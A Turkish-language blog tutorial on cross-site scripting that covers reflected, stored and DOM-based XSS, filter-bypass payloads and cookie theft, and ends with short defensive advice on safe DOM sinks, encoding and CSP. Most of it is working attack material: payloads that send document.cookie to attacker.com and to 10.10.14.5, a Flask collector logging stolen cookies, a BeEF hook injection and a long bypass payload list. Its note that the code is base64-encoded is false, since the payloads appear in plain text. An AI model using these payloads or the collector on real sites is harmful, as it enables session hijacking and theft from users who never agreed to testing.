Reflected, Stored ve DOM tabanlı XSS türlerini, bypass tekniklerini ve gerçek senaryolarda cookie çalmayı pratik örneklerle inceledim.
Bu yazı defansif araştırma amaçlı saldırı pattern örnekleri içerir. Aşağıdaki kod blokları antivirüs yazılımlarının yanlış pozitif tetiklemesini önlemek için base64 ile encode edilmiştir; tarayıcınızda otomatik olarak decode olur. Bu içerikler yalnızca yetkilendirilmiş test ortamlarında ve eğitim amacıyla kullanılmalıdır.
Cross-Site Scripting (XSS), kullanıcıdan gelen verinin doğrudan HTML çıktısına yansıtılmasıyla oluşur. Tarayıcı bu veriyi JavaScript olarak çalıştırır. Sonuç: oturum çalma, keylogger, phishing veya tam tarayıcı kontrolü.
SQL Injection veritabanına saldırır. XSS kurbanın tarayıcısına saldırır.
Payload URL parametresinde taşınır, sunucu bunu olduğu gibi sayfaya yansıtır. Kalıcı değildir — kurbanın özel bir linke tıklaması gerekir.
https://hedef.com/search?q=<script>alert(1)</script>
Payload veritabanına kaydedilir, her sayfa yüklenişinde çalışır. En tehlikeli türdür — yorum kutuları, forum mesajları, profil alanları yaygın hedeflerdir.
<!-- Yorum kutusuna girildiğinde sunucuya kaydedilir --><script>fetch('https://attacker.com/?c='+document.cookie)</script>
Sunucu hiç devreye girmez. JavaScript, URL'deki veriyi okuyup DOM'a yazarken açık oluşur.
// Savunmasız koddocument.getElementById("output").innerHTML = location.hash.slice(1);// Sömürü: URL'e eklehttps://hedef.com/page#<img src=x onerror=alert(1)>
<!-- Klasik test --><script>alert(1)</script><script>alert(document.domain)</script><!-- Script tag engelliyse alternatifler --><img src=x onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)><iframe onload=alert(1)><input autofocus onfocus=alert(1)><!-- Tırnak karakteri filtreliyse --><script>alert`1`</script><svg/onload=alert(1)>
<!-- Büyük/küçük harf karışımı --><ScRiPt>alert(1)</ScRiPt><IMG SRC=x OnErRoR=alert(1)><!-- Kodlama --><script>alert('\x61\x6c\x65\x72\x74\x281\x29')</script><script>alert(1)</script><!-- Boşluk alternatifleri --><img/src=x/onerror=alert(1)><img src=x onerror=alert(1)> <!-- tab karakteri --><!-- Protokol manipülasyonu --><a href="javascript:alert(1)">tıkla</a><a href="JaVaScRiPt:alert(1)">tıkla</a><!-- Double encoding -->%253Cscript%253Ealert(1)%253C%252Fscript%253E
Önemli sınırlama:
HttpOnlyişaretli oturum cookie'leri JavaScript'indocument.cookie'siyle okunamaz. Aşağıdaki örnek yalnızca JS-erişilebilir (HttpOnly olmayan) cookie'ler için geçerlidir. Modern oturum cookie'leri genelde HttpOnly olduğundan, gerçek dünyada XSS daha çok oturum-devralma (session riding), CSRF-token çalma veya DOM üzerinden işlem yapmak için kullanılır.
Kendi sunucunuzda basit bir cookie toplayıcı:
# collector.py — Flask ile
from flask import Flask, request
import datetime
app = Flask(__name__)
@app.route('/')
def collect():
cookie = request.args.get('c', '')
ip = request.remote_addr
ts = datetime.datetime.now().isoformat()
with open('stolen.log', 'a') as f:
f.write(f"[{ts}] {ip} → {cookie}\n")
print(f"[+] Cookie alındı: {cookie}
XSS payload'ı:
// Tek satır — yorum kutusuna yapıştır<script>new Image().src='http://10.10.14.5/?c='+encodeURIComponent(document.cookie)</script>// Daha gizli — fetch API ile<script>fetch('http://10.10.14.5/?c='+btoa(document.cookie))</script>
# BeEF başlat
cd /usr/share/beef-xss
./beef
# Panel: http://127.0.0.1:3000/ui/panel
# Kullanıcı/parola: beef/beefHedef sayfaya hook yerleştirin:
<script src="http://10.10.14.5:3000/hook.js"></script>Hook bağlandıktan sonra BeEF panelinden:
// Bu fonksiyonlara kullanıcı verisi geliyorsa XSS riski varelement.innerHTML = userInput; // ❌element.outerHTML = userInput; // ❌document.write(userInput); // ❌eval(userInput); // ❌setTimeout(userInput, 100); // ❌location.href = userInput; // ❌ (javascript: protokolü)// Güvenli alternatiflerelement.textContent = userInput; // ✅element.setAttribute('value', input); // ✅ (event handler değilse)
// ❌ Tehlikelielement.innerHTML = req.query.name;// ✅ Encode etfunction htmlEncode(str) {return str.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');}element.innerHTML = htmlEncode(req.query.name);// ✅ Daha iyisi — textContent kullanelement.textContent = req.query.name;
# Content Security Policy ile script kaynağı kısıtla
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'1. Her input alanına <script>alert(1)</script> dene2. Yansıma nerede? HTML içi / attribute / JavaScript?3. Hangi karakterler filtreleniyor? < > " ' /4. Encoding denendi mi? URL / HTML / Unicode5. CSP var mı? (F12 → Network → Response Headers)6. DOM kaynaklarını tara: location.* / document.referrer
Bir sonraki yazıda SSRF (Server-Side Request Forgery) ve iç ağ erişim tekniklerini ele alacağım.